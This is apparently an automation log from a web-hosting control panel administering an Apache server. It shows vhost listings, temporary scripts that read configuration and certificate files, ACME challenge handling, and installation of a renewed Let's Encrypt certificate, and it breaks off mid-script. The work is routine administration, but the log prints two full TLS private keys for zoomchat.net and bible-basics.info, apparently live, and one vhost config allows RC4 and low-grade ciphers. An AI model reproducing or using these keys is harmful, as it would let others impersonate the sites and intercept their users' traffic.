[Sun Dec 14 06:00:30.136547 2025] [so:warn] [pid 1483675:tid 139733223352640] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sun Dec 14 06:00:30.136547 2025] [so:warn] [pid 1483675:tid 139733223352640] AH01574: module status_module is already loaded, skipping


2025-12-14 06:00:30: 

PUT: /tmp/pkp477009

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:00:30: 

chmod 755 /tmp/pkp477009; /tmp/pkp477009; rm /tmp/pkp477009

2025-12-14 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf	2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-14 06:00:31: 

PUT: /tmp/pkp448929

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:00:31: 

chmod 755 /tmp/pkp448929; /tmp/pkp448929; rm /tmp/pkp448929

2025-12-14 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt	5352
60:9d:ef:d2:5b:3a:6b:90:74:33:46:51:48:f8:ef:54

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBUmb2nydLaQDO0vc9V06bpcnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMTQ5WhcNMjYwMzE0MDUwMTQ4WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDP
lrOC9E4oNCY7OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4Ie
cYkceTaPyUC1COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbk
BlReBlYpy/hDjnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdX
pnsCEl+JM2Wjb4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/
PEOwiSl5U7y0+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3
S24rZroY9ukTfLO6IXCvAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBNIvwVj4VPAw0l+T3J0reOqmR3eMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvNDAuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAFoMtq/CpJQ8P
8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbG3ITbQAABAMARzBFAiEAtPOvCzy6
FYwUnDEZWZvTN8hiFLY9Eos+YBgcHGQ4iMoCIFoFUUCklpay5aXLeXAqIs7Kekvd
+jtdl8URoS1Fog6tAH0AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbG3IT+wAIAAAFAAQdHrEEAwBGMEQCIB55TuEEhMjf6Hm02UqMZlwLX/cb+w6m
0jFjMVj/nnfcAiByy4ZJubqqi3HGGR+CSgdY8JM3aHcOnbaEBMkEax2GWDANBgkq
hkiG9w0BAQsFAAOCAQEAGNtpr74XsyRxbz3EoaYZlLUYt4kMzERt3AC9gZC9zXjp
yfuFeQmolNp9zqrnF6MxZNt1S9L9xsWZWKTXYIfIK/M09O2yk+S7kgdyTk15J9wV
wz9LYyCtA/THBzWxUmmirCA54MiLsL2aC7x5p9d8NQgMR07fX3SsmZ3XkVz+C387
8txK7ZYtbEp29IB89jf5nhYHH4qRcRHcYNj0ymq5l5GznvBD35KB76yiEMigwFkc
h94bem3aq2Q2LSI0D3YpO7dhmlmIPnPdvrxkzX6sbwtwVxdJz16SaSM70KhftAkm
UU9VF+CCce3RhR26i7jhbDgTolwdkkEWoh2mTvOZ9g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPlrOC9E4oNCY7
OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4IecYkceTaPyUC1
COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbkBlReBlYpy/hD
jnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdXpnsCEl+JM2Wj
b4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/PEOwiSl5U7y0
+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3S24rZroY9ukT
fLO6IXCvAgMBAAECggEAGRIfTgKJaeuabm6miE/qMyPGnR1uaxZf4k0/IHmv2phP
BN5utHJm9g/XEoEuhCGj2l9l6s1s3IK20OZos6NT7vWbXhnK7xdwmjDPqdpT8MCk
kzbFBENQXhjaCgDbOeU4lDN7fvuO7m9W5XnQjkSZuhFPQkhuH4sZOZtAfoq4Jm7f
gTTix+zwnqFd6CVNbI6dVpXqVExFrjjVzip+JfoabJ8L4oxeDViWFEKxB6sbNep5
+XSTl3HujT1/0+WPFi1o+JndNhLJucbLoP4olyYTFXnLz63zZmrDYsLpSdZ1j0sZ
VXMTFUQBKkiGjC1smUFbcFmV/rt4IJD12XHvXNNzkQKBgQDzML5QI4CEPXAw0JUT
7d/qZjHmwjenZxIPxrZLf6E4Gw+l4v6uU7TemLsWyoVSRKpdN1HSMOFE+vQKTPju
W/lmY/Ht7tAr/kcuTP8svCmxEJI97ydHuMoJ2HLWVhT+JSyuoUn59LITA2rUCF5o
zVeLgAdQMf6M2meCaIZb4314iQKBgQDaheSPnIvjYVDjJyVb8A5Nyi6XFrnkIxV2
4pFzn31/I0h0LgNZ58neRIqsbXNvh8anmmvONxN8cP/GARQNTuuIoxD2otWe7AIx
dRVG6am7p0BMfEY34H+qxnq7l5uFPI8ryc2zrXgdPCyno4Dg004kLI0rlKQ2Cmtb
VZ1GYW7hdwKBgQDr+gthpeFp8Ffx9iQCT5ssTvfzC9iHJvuetVpkjjb5Q0D+3fH1
ZKIoMRmxttiBiMGrbCeIBwhAMCcn66LNYA/0a9zw3P/BAJ8/bVVaqkbmWscdM/fw
n33k6dQc6TC7n4To+vbWhbtZucIqduhtV3uwkI4IIkr3kGJKZ3Sgq3EvyQKBgEpQ
3ro4cxqRLgESfxIVQcgSymV3xSBhDhuwUecQho2GYk2gmGMrAOwmQ0MAthFoC5dU
XPV0pZvckh+0ni0oedGuI0a9egjiGpzXRLUpIiA/cQ6R9Q9ruf9KINNLbAiT39z0
dJB2njLTFByu7lWHhzumKxx3IKGASaJ2K1aULDFhAoGBAKdKqlRy4qK2jRSArsPE
BNnDWZv209ydxi9A+kyejl423AagR7yIJrGoYqVe/A8xXnT40cAA/y1N8mJgN6N6
mrMI0FAKXnQ9VzAgka1I8ry0KMnJbQt9J7Jz/nbTo5Dmrxh5llbrUdisAxyQOGg6
eQeZcacO7NVObqkYPnLw+jcK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-14 06:00:31: Establishing a connection
2025-12-14 06:00:32: Establishing a connection
2025-12-14 06:00:32: 

PUT: /tmp/pkp348630

#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:00:32: 

chmod 755 /tmp/pkp348630; /tmp/pkp348630; rm /tmp/pkp348630

2025-12-14 06:00:32: 


1


2025-12-14 06:00:33: Establishing a connection
2025-12-14 06:00:33: 

PUT: /tmp/pkp273208

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA
cat > 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY


2025-12-14 06:00:33: 

chmod 755 /tmp/pkp273208; /tmp/pkp273208; rm /tmp/pkp273208

2025-12-14 06:00:33: 




2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48: 

PUT: /tmp/pkp256835

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA
rm 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY


2025-12-14 06:00:48: 

chmod 755 /tmp/pkp256835; /tmp/pkp256835; rm /tmp/pkp256835

2025-12-14 06:00:48: 




2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48: 

PUT: /tmp/pkp970445

#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt

cat > $temp_file <<'endmsg'
20:4d:20:d9:c2:0f:b5:e5:71:42:e3:78:8a:4d:ad:2b

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBVcXg46sTQLpUShfbTcA1Pz9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjE3WhcNMjYwMzE0MDUwMjE2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK/AHik9Zpkz3w0D1aUgOXKzd9C7JdrkajN5VcIcX2b+qmkl2Ux0/Tk++Bcg
rc1py1Y3R38QspbA9a6MsRiVfbzY9OXgKZsyCn02i78Di9+eiz2haMs82KftPjOn
BuxlFehGvFd8RTaJY7z4mmg9h9jDPhkc/+EAgm+TbBokYJrjg5fw1bKiFz9TGew2
yxXoKafDP/DatN9OGjFUcByv4o1biR+Fb72xkRpIA0hf4YJUiNLgqeydpxnFyYDd
ZkOaFTxdXbEpONIlzBqqYXuQVWUGlQKYZ5plMZacLwBoQZD/mxJgfX4/eCTBmiig
nN+cv9YShpkL/u+Fdx9o8aVjDf8CAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUG3T2MHiM63f0TuuZ6pB3zMBfVoAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2ABaDLavwqSUPD/A6pUX/yL/II9CHS/YE
KSf45x8zE/X6AAABmxtygN0AAAQDAEcwRQIgcv8kb4ZZx4EQbtT60Q5SZ9i943vs
5y5jUVHbolp6fFICIQDt0K/niaZDC3jCJ0uPggRQIs4IEzVGCGWkF9LYHZqPzgB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmxtygQMAAAQDAEcw
RQIhAL5kI603Jzmng7sbxI72lw5VWfTPiiZ5Rawzru8Yd/7oAiBtyiqYyVMcxKJ4
+O0IXMNOI9cq0g8kUCfWdcFk9qSeWTANBgkqhkiG9w0BAQsFAAOCAQEAXrzWYfSb
XO7axSqJHj99ZOpoQ5NxswYyyxa8PdSyB4nkdNFyg/2mszET3BrpmVMaiEAQO5qB
46DvRr14nqSoRasIxgs/LVgeDecVRMehJxU0c1GUxtaFvrloS8JCK8GmsA4hE4yZ
N6dWwraKdN+OEofjUdPhHadUGLEEB+b6NS1Z3A6s0gvW7PkLwQuv0zwecvMRSE5s
L05tH8fcjy8OdZU5c5TRAL1yZIbAZIJ8f4mlQdKIyS2P9NpNa/cdojrsBA37FxDl
/yH7YmGA3kg58AXXTZdvSmmKGofUVzOgHaRnrVRyM6UZ9SdDPlbBJpR1dvxOIm22
H2Sjv6cv1tH2jA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvwB4pPWaZM98N
A9WlIDlys3fQuyXa5GozeVXCHF9m/qppJdlMdP05PvgXIK3NactWN0d/ELKWwPWu
jLEYlX282PTl4CmbMgp9Nou/A4vfnos9oWjLPNin7T4zpwbsZRXoRrxXfEU2iWO8
+JpoPYfYwz4ZHP/hAIJvk2waJGCa44OX8NWyohc/UxnsNssV6Cmnwz/w2rTfThox
VHAcr+KNW4kfhW+9sZEaSANIX+GCVIjS4KnsnacZxcmA3WZDmhU8XV2xKTjSJcwa
qmF7kFVlBpUCmGeaZTGWnC8AaEGQ/5sSYH1+P3gkwZoooJzfnL/WEoaZC/7vhXcf
aPGlYw3/AgMBAAECggEAc2QLKX6D33C8MRpkan9G2LVWpHhLuXUg+Vzf3ousY74u
+sx76IQjQjPCxcSR+H1OoPO4gIfhCbP1Wr5LBF4aaSR1XnyYNKpdUqq+hBJ7Ar5g
o31XhaEUiuTsYxN2Kz2PbasLu9D+zHjWQFtlXa2QhNRj8C8nHX6tJT7AykU6HFbP
vLsncm5YzoH+L5bYL24gwJz7SpthYEo+kU9jKDohTAVHaweV0N5QpVbFHQC8XYHu
PTFaibcg5poWw327LX/cEUOwrK7Y9bfxW0s4NyD7Hea+NjvQR1bnp9GMLpRFoymp
hRwhfqy12g8lAacCIBLoXiWSR9BELxJqvIwy8lWY8QKBgQDf8ZI8KFeskZrKt6Cb
LRmenXv8L0gxzrotd8vShdOMBoJJCXoSHDShrwpVtJH1NNNxBzWj0luG16VGUljA
VvbvmkMy4CAQZ4TZ88pIfJVaQIJAmuZWiVQgLSLxaB8XIRVijeHVN55c6WDqAaEr
Pghk11nM7swX6CC6UK81inuCiQKBgQDI6IEqSBF8GXpiFGNO/mhRcd9KzYJIKrpg
hB6ZXhI8tINtMXWl6gwL/AHORuuSs8MZEvBzKv8EqQj/eADNxEIKz+62b8bONQrX
Fhamu/hkPCGXbpdC3/DVcuoJZjxxyueIkzdBCq/n0WTMfatxzZ+Px0deCnMLToik
zTVzgaSKRwKBgF0Vg4xf1HmVmDrU8vwtVe3ZVhTv7llNrZOCrQUXvWQBvJvxRX1L
nhDquif/w3+h8pWTwpcStBqrfjZpuhxQyZm0jGQURx+qd81EiXtx1X7LO5jxCfdE
Y+Rv/otLlUi+5q2tfgZrdPb3xuHdxYk84q5P2TLWu5zgTuJC8WEW69nJAoGAYkUX
qM7HfqQXsJG4YZMfA3dnePc8moAL2dnF/c59rSO+hVKD8Tuh2NrTJ0qZP5CeBU22
Px7wzh7AP/U6r2snwpIieSoDXCmlu78aJUQcIysmYyO86QEQk9c5ko9nUWGmDq+z
fyTzFbjeTQfLLEcfnPwkdGM4Ene/bpzRYEYxbVECgYEApjd48AfvaWoybJzWNz+A
WH/4+BsHbL424BtzH6Oy2bTn7dDfj4MBWv+bxtWjAzXMZYW53qgNtTBflGkq+Ehv
pOlQLU6qRi+cL5dYvzInpvlvGcwPGRB8xkEL/5trV2vsjayvxO/DeujsklEhPhhv
q0T43Xu1lHn+iMPQjCeA/tk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
